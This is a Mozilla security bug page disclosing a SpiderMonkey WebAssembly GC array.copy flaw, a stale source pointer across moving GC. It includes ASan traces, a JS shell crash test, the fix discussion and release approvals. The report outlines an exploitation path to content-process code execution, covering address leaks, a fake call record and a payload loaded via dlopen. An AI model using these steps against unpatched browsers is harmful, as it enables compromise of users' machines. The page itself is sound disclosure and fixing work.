Wasm GC array.copy Keeps a Stale Source Pointer Across Moving GC
Categories
(Core :: JavaScript: WebAssembly, defect, P1)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox-esr115 | --- | unaffected |
| firefox-esr140 | --- | unaffected |
| firefox150 | + | fixed |
| firefox151 | + | fixed |
| firefox152 | + | verified |
People
(Reporter: bd, Assigned: rhunt)
References
(Blocks 1 open bug, Regression)
Details
(5 keywords, Whiteboard: [client-bounty-form][pp1][bugmon:bisected,confirmed][adv-main150.0.3+])
Attachments
(6 files)
|
151.41 KB,
application/zip
|
Details | |
|
8.65 KB,
text/html
|
Details | |
|
48 bytes,
text/x-phabricator-request
|
freddy
:
sec-approval+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-beta+
|
Details | Review |
|
48 bytes,
text/x-phabricator-request
|
phab-bot
:
approval-mozilla-release+
|
Details | Review |
|
40 bytes,
text/plain
|
Details |
Reporter: OpenAI Preparedness, Bill Demirkapi
Organization: OpenAI
Component: SpiderMonkey JIT / WebAssembly GC lowering
Affected Area: MWasmCallBase::wasmCallAliasSet, FunctionCompiler::createArrayCopy, WasmArrayRefsMove, WasmArrayMemMove
Bug Class: Invalid alias exclusion -> stale raw Wasm array backing pointer across moving GC -> use-after-free / memory corruption / native control-flow impact
Discovery Method: Source review, optimizer-state analysis, browser reproduction, sanitizer/debugger validation
Summary
SpiderMonkey's optimized Wasm GC array.copy lowering loads raw backing-data pointers from the source and destination arrays, then passes those raw pointers to helper builtins. The optimizer currently treats WasmArrayDataPointer loads as unaffected by Wasm calls because the live object field is expected to be rewritten when GC moves the array:
// js/src/jit/MIR-wasm.h:1950-1957
static AliasSet wasmCallAliasSet() {
// This is ok because:
// - numElements is immutable
// - the GC will rewrite any array data pointers on move
AliasSet exclude = AliasSet(AliasSet::WasmArrayNumElements) |
AliasSet(AliasSet::WasmArrayDataPointer);
return AliasSet::Store(AliasSet::Any) & ~exclude;
}
That reasoning is correct only for the object field itself. It is not correct for a raw pointer value that has already been loaded into optimized code. createArrayCopy() materializes srcData and dstData before invoking a helper call:
// js/src/wasm/WasmIonCompile.cpp:5536-5569
MInstruction* dstData = MWasmLoadField::New(
alloc(), dstArrayObject, nullptr, WasmArrayObject::offsetOfData(),
mozilla::Nothing(), MIRType::WasmArrayData, MWideningOp::None,
AliasSet::Load(AliasSet::WasmArrayDataPointer));
MInstruction* srcData = MWasmLoadField::New(
alloc(), srcArrayObject, nullptr, WasmArrayObject::offsetOfData(),
mozilla::Nothing(), MIRType::WasmArrayData, MWideningOp::None,
AliasSet::Load(AliasSet::WasmArrayDataPointer));
if (elemsAreRefTyped) {
builtinCall6(SASigArrayRefsMove, ..., dstArrayObject, dstData,
dstArrayIndex, srcData, srcArrayIndex, numElements, ...);
} else {
builtinCall6(SASigArrayMemMove, ..., dstData, dstArrayIndex, srcData,
srcArrayIndex, elemSizeDef, numElements, ...);
}
The helpers then consume those pointers directly:
// js/src/wasm/WasmBuiltins.cpp:1321-1338
static void WasmArrayMemMove(uint8_t* destArrayData, uint32_t destIndex,
const uint8_t* srcArrayData, uint32_t srcIndex,
uint32_t elementSize, uint32_t count) {
memmove(&destArrayData[size_t(elementSize) * destIndex],
&srcArrayData[size_t(elementSize) * srcIndex],
size_t(elementSize) * count);
}
static void WasmArrayRefsMove(WasmArrayObject* destArrayObject,
AnyRef* destArrayData, uint32_t destIndex,
AnyRef* srcArrayData, uint32_t srcIndex,
uint32_t count) {
AnyRef* dstBegin = destArrayData + destIndex;
AnyRef* srcBegin = srcArrayData + srcIndex;
BarrieredMoveRange(destArrayObject, dstBegin, srcBegin, count);
}
If a moving GC occurs after the raw source pointer is loaded but before the helper consumes it, the source object's field is updated while optimized code continues using the old raw pointer. The helper therefore copies from stale storage instead of from the moved source array.
This is reachable from ordinary browser JavaScript using WebAssembly GC. The attached browser PoC reproduces a content-process crash with no shell-only APIs. The same root bug was also driven into concrete use-after-free writes, allocator-reuse reads, wrong-owner reference propagation, controlled native call targets, and content-process code execution.
Impact
Malicious web content can turn the stale source pointer into memory corruption in the Firefox content process.
The same root primitive has been demonstrated through several independent consumers:
- stale
DataViewstate causing writes through freedArrayBufferstorage; - stale
JSStringstate causing reads from freed allocator-owned character storage; - stale function-reference propagation across
call_ref, producing wrong-signature calls, address disclosure, controlled indirect native calls, and content-process code execution.
The simplest concrete write witness uses a detached fixed-length transfer. A fresh 16-byte DataView rejects offset 60, but the stale resurrected view still writes there:
TRANSFER_BEFORE_OK kind=fixed oldBytes=8 newBytes=16 oldDetached=1
FRESH_BUFFER_OBS_ERROR phase=after-transfer-before-write RangeError:offset is outside the bounds of the DataView
WRITE_RESULT kind=dataview threw=0 index=15 byteOffset=60 observed=123456
Under ASan, the same write is reported as a real UAF write into freed backing storage:
ERROR: AddressSanitizer: heap-use-after-free
WRITE of size 4
#0 Memcpy
#1 toBuffer
#2 js::DataViewObject::write<unsigned int>
#3 setUint32Impl
...
0x... is located 60 bytes inside of 4096-byte region
freed by:
#1 js::ArrayBufferObject::detach
#2 js::ArrayBufferObject::copyAndDetach<...>
When a new live 4096-byte allocation reuses the freed region, the stale write mutates that unrelated live buffer:
POST_TRANSFER_ALLOC kind=arraybuffer count=1 bytes=4096
WRITE_RESULT kind=dataview threw=0 index=3 byteOffset=60 observed=123456
REUSE_CHANGE phase=after-write index=0 before=2702184207 after=123456
REUSE_HIT phase=after-write index=0 wordIndex=15 value=123456
The scalar WasmArrayMemMove path can also produce stale string state. In one allocator-reuse witness, the string chars pointer was freed and then read back after grooming:
FEEDBACK_ATOM_CHARS 0x...
FEEDBACK_RAW_CHARS 0x...
FEEDBACK_DANGLING_BEFORE_GROOM [229,229,229,229,...]
FEEDBACK_DANGLING_AFTER_GROOM [70,69,69,68,66,65,67,75,95,68,65,78,71,76,73,78,71,95,66,69,70,79,82,69,95,71,82,79,79,77,...]
ASan confirms the corresponding stale read:
ERROR: AddressSanitizer: heap-use-after-free
READ of size 1
#0 latin1OrTwoByteChar
#1 getChar
#2 str_charCodeAt
These are not separate root causes. They are independent downstream consequences of the same stale srcData bug.
Root Cause
The vulnerable path is a mismatch between three assumptions:
- Moving GC updates the current WasmArrayObject::data_ field.
- Wasm calls are declared not to alias WasmArrayDataPointer loads.
- The array.copy helper ABI consumes raw backing pointers loaded before the call.
The collector can satisfy assumption 1 without satisfying assumptions 2 or 3. Rewriting the moved object's field does not repair a stale raw pointer already held in optimized code. Once srcData has been commoned or kept live across a GC-capable call boundary, the later helper receives the obsolete address.
This is why the key comment in wasmCallAliasSet() is unsafe: "the GC will rewrite any array data pointers on move" is true for object fields, but false for preloaded raw values.
Browser Reachability
The browser reproducer uses:
- normal JavaScript;
- embedded WebAssembly bytes;
- browser-side allocation pressure;
The vulnerable page and the exact no-copy control differ only in whether the live array.copy executes. In vulnerable runs, the content process crashes during or just after warmup; with ?copy=0, the same pressure schedule completes all control rounds.
The crash is timing-sensitive because it depends on moving-GC placement and replacement allocation. Repeated reloads are expected for a browser PoC of this class.
Exploitation
The most interesting exploitation path changed the consumer from ordinary object state to stale function references.
1. Stale function-reference placement
The stale copy path was used to transfer an old WebAssembly function reference into a live ref array. A later consumer executed call_ref believing it was calling one signature while the stale entry actually referred to a producer compiled for a different signature.
2. Wrong-signature calls become a data bridge
Two mismatched call shapes were useful:
let leakedWord = callRefAsI64(staleFuncref);
let forgedRef = callRefAsExternref(attackerChosenI64);
The first shape disclosed native words, including a stable libxul code pointer. The second shape allowed attacker-selected integer bits to re-enter a reference-consuming path. This converted stale funcref replacement into both an ASLR anchor and a way to materialize crafted object-like state.
3. Fake call record
The exploit then used controlled memory as a compact fake call record:
fake + 0x00 : first native entry
fake + 0x18 : argument 0
fake + 0x38 : second native target
fake + 0x40 : argument 1
Conceptually:
fake.write64(0x00, leak + ARG_LOADER_DELTA);
fake.write64(0x18, controlledArg0);
fake.write64(0x38, leak + TARGET_DELTA);
fake.write64(0x40, controlledArg1);
invokeReturnedFuncref(forgedRef, fake);
The first target acted as a compact argument loader and then transferred control to the second target. This was first validated with a visible native side effect:
CONTROLLED_NATIVE_MARKER
4. Content-process code execution
The same mechanism was then pointed at a loader path. A debugger transcript from the successful content-process run shows the progression:
ARG_LOADER_HIT ...
DLOPEN_CALLSITE ... arg0="./payload.so"
DLOPEN_ENTER ... arg0="./payload.so"
PAYLOAD_CONSTRUCTOR_ENTER ...
The content process subsequently executed the constructor of the loaded object:
PAYLOAD_CONSTRUCTOR_EXECUTED
This demonstrates that the stale-source bug is exploitable beyond denial of service: it can be developed into native code execution inside the content process.
Proof of Concept
The attached browser PoC is intentionally a crash reproducer rather than the full exploit chain.
Run:
python3 -m http.server 8000
Open:
http://127.0.0.1:8000/
Exact negative control:
http://127.0.0.1:8000/?copy=0
Expected behavior:
- vulnerable URL: content-process crash after warmup on affected builds, often after several reloads because GC placement is timing-sensitive;
?copy=0: same pressure schedule without the live copy, expected to survive and print control rounds.
Affected Builds
The bug was reproduced on:
- Firefox
149.0.2; - a later
150.0development build using the same stale-pointer lowering shape; - Firefox Nightly
152.0a1(2026-05-07).
The vulnerable logic is in SpiderMonkey source and is not platform-specific browser glue.
Suggested Fix
The invariant should be that optimized Wasm code never treats a raw array-data pointer as stable across a call that may permit moving GC.
Recommended changes:
- Remove
WasmArrayDataPointerfrom the alias exclusion inMWasmCallBase::wasmCallAliasSet(). - Prefer helper ABIs that accept
WasmArrayObject*and reloaddataPointer()immediately before use instead of receiving long-lived raw pointers. - Add regression tests that:
- execute optimized Wasm GC
array.copy; - permit a moving GC between raw pointer load and helper consumption;
- verify that the source backing pointer is current at use time;
- cover both
WasmArrayRefsMoveandWasmArrayMemMove.
- execute optimized Wasm GC
Suggested Regression Coverage
A useful test matrix would include:
| Case | Expected |
|---|---|
optimized ref-typed array.copy with moving GC in the import window |
no stale-source copy |
optimized scalar array.copy with the same schedule |
no stale-source copy |
| no-copy control under identical pressure | no corruption |
| baseline / non-optimized path | no stale reuse |
| diagnostic build with pointer reload after possible GC | same result as current object field |
The test should assert the source data pointer observed by the helper matches the moved source object's current backing store, rather than merely asserting the absence of a crash.
This information is being shared by OpenAI solely for the purpose of improving security and reducing potential harm. This information is presented as-is. We make no representations or warranties, express or implied, as to the completeness, accuracy, or fitness for any particular purpose of the information. [This includes, without limitation any suggestions or ideas presented on how to remedy or mitigate an identified vulnerability, including whether such suggestions or ideas would be effective and/or could have other negative impacts.]
OpenAI disclaims any liability for direct or indirect damages arising from the reliance on, or use, misuse, or interpretation of this information. Any references to third-party systems, services, or entities are included solely for identification purposes and do not imply endorsement, responsibility, or attribution.
Updated•4 months ago
|
Comment 1•4 months ago
|
||
Updated•4 months ago
|
Comment 2•4 months ago
•
|
||
Here's a shell test case.
$ obj-shell-dbgopt/dist/bin/js --wasm-compiler=ion test.js
Assertion failure: IsValidlyAlignedDataPointer(header), at js/src/wasm/WasmGcObject.h:474
// Run with --wasm-compiler=ion
var ins = new WebAssembly.Instance(
new WebAssembly.Module(wasmTextToBinary(`(module
(type $s (struct (field (mut i64))))
(type $a (array (mut (ref null $s))))
(import "m" "hook" (func $hook))
(func (export "run")
(local $src (ref $a)) (local $dst (ref $a))
(local.set $src (array.new_default $a (i32.const 15)))
(local.set $dst (array.new_default $a (i32.const 15)))
(array.set $a (local.get $src) (i32.const 0)
(struct.new $s (i64.const 0x42)))
(call $hook)
(array.copy $a $a
(local.get $dst) (i32.const 1)
(local.get $src) (i32.const 0)
(i32.const 1)))
)`)),
{ m: { hook() { gc(this, 'shrinking'); } } }
);
ins.exports.run();
Comment 3•4 months ago
•
|
||
Thank you for the bug report! Nice find.
If you're interested in searching for more SpiderMonkey bugs, consider using the JS shell. It's a command-line version of SpiderMonkey that lets you run JS files like the one I gave in comment 2 directly. It has extra flags, debug assertions and testing functions that help test engine behavior. Just make sure you pass it the --fuzzing-safe flag to disable things that might crash that we don't care about.
Updated•4 months ago
|
Updated•4 months ago
|
Comment 5•4 months ago
|
||
Verified bug as reproducible on mozilla-central 20260508130736-bb1498acf6da.
The bug appears to have been introduced in the following build range:
Start: c8dcd7d171794984cb64614fd67780fdc11c53d5 (20251217093341)
End: af79ab9f261ecf2476508798a418f76fd1186bfe (20251217105309)
Pushlog: https://hg.mozilla.org/integration/autoland/pushloghtml?fromchange=c8dcd7d171794984cb64614fd67780fdc11c53d5&tochange=af79ab9f261ecf2476508798a418f76fd1186bfe
Updated•4 months ago
|
Updated•4 months ago
|
| Assignee | ||
Comment 6•4 months ago
|
||
Updated•4 months ago
|
| Assignee | ||
Comment 7•4 months ago
|
||
Prefer helper ABIs that accept WasmArrayObject* and reload dataPointer() immediately before use instead of receiving long-lived raw pointers
This is the safest option here and what the attached patch does. JSeward wrote it, and Yury and I have reviewed it. The patch deoptimizes the array copy builtins used in Ion to take the array object instead of their data pointers and then loads the data pointers themselves. This fixes the lifetime issue.
Updated•4 months ago
|
| Assignee | ||
Updated•4 months ago
|
| Assignee | ||
Comment 8•4 months ago
|
||
Comment on attachment 9584682 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Medium difficulty. Patch points at something around array data pointers, but it's not clear the issue involves a lifetime issue around array objects.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: Beta nad release, flags are accurate.
- If not all supported branches, which bug introduced the flaw?: Bug 2005437
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?:
- How likely is this patch to cause regressions; how much testing does it need?: Unlikely. Well reviewed and tested de-optimization to an array.copy routine.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
| Assignee | ||
Comment 9•4 months ago
|
||
JSeward tested the patch on Linux x86_{32,64} natively and {arm32, arm64, rv64} with the simulator. I tested it on OSX with ARM64 natively. I also verified it applies cleanly to beta and release. I compiled and tested it on beta, but wasn't able to build release because of a SDK mismatch. The underlying code that we're changing here hasn't changed for a while so I don't think there will be an issue on release.
Updated•4 months ago
|
Comment 10•4 months ago
|
||
I also verified now that, for x86_{32,64}-linux, the following wasm-gc tests
from JetStream3 run OK:
j2cl-box2d-wasm Dart-flute-complex-wasm Dart-flute-todomvc-wasm
Kotlin-compose-wasm dotnet-aot-wasm dotnet-interp-wasm
Comment 11•4 months ago
|
||
Comment 12•4 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: Potentially exploitable security issue.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: De-optimization of well tested code.
- String changes made/needed?: None
- Is Android affected?: yes
| Assignee | ||
Comment 13•4 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D299457
Comment 14•4 months ago
|
||
firefox-release Uplift Approval Request
- User impact if declined/Reason for urgency: Potentially exploitable security issue.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: yes
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: De-optimization of well tested code.
- String changes made/needed?: None
- Is Android affected?: yes
| Assignee | ||
Comment 15•4 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D299457
Comment 16•4 months ago
|
||
Updated•4 months ago
|
Updated•4 months ago
|
Comment 17•4 months ago
|
||
| 150.0.3 uplift | ||
Updated•4 months ago
|
Updated•4 months ago
|
Comment 18•4 months ago
|
||
| uplift | ||
Comment 19•4 months ago
|
||
Verified bug as fixed on rev mozilla-central 20260509201008-34fa32c3c2a4.
Removing bugmon keyword as no further action possible. Please review the bug and re-add the keyword for further analysis.
Updated•4 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Updated•4 months ago
|
Comment 21•4 months ago
|
||
Updated advisory.txt
Updated•3 months ago
|
Updated•16 days ago
|
Description
•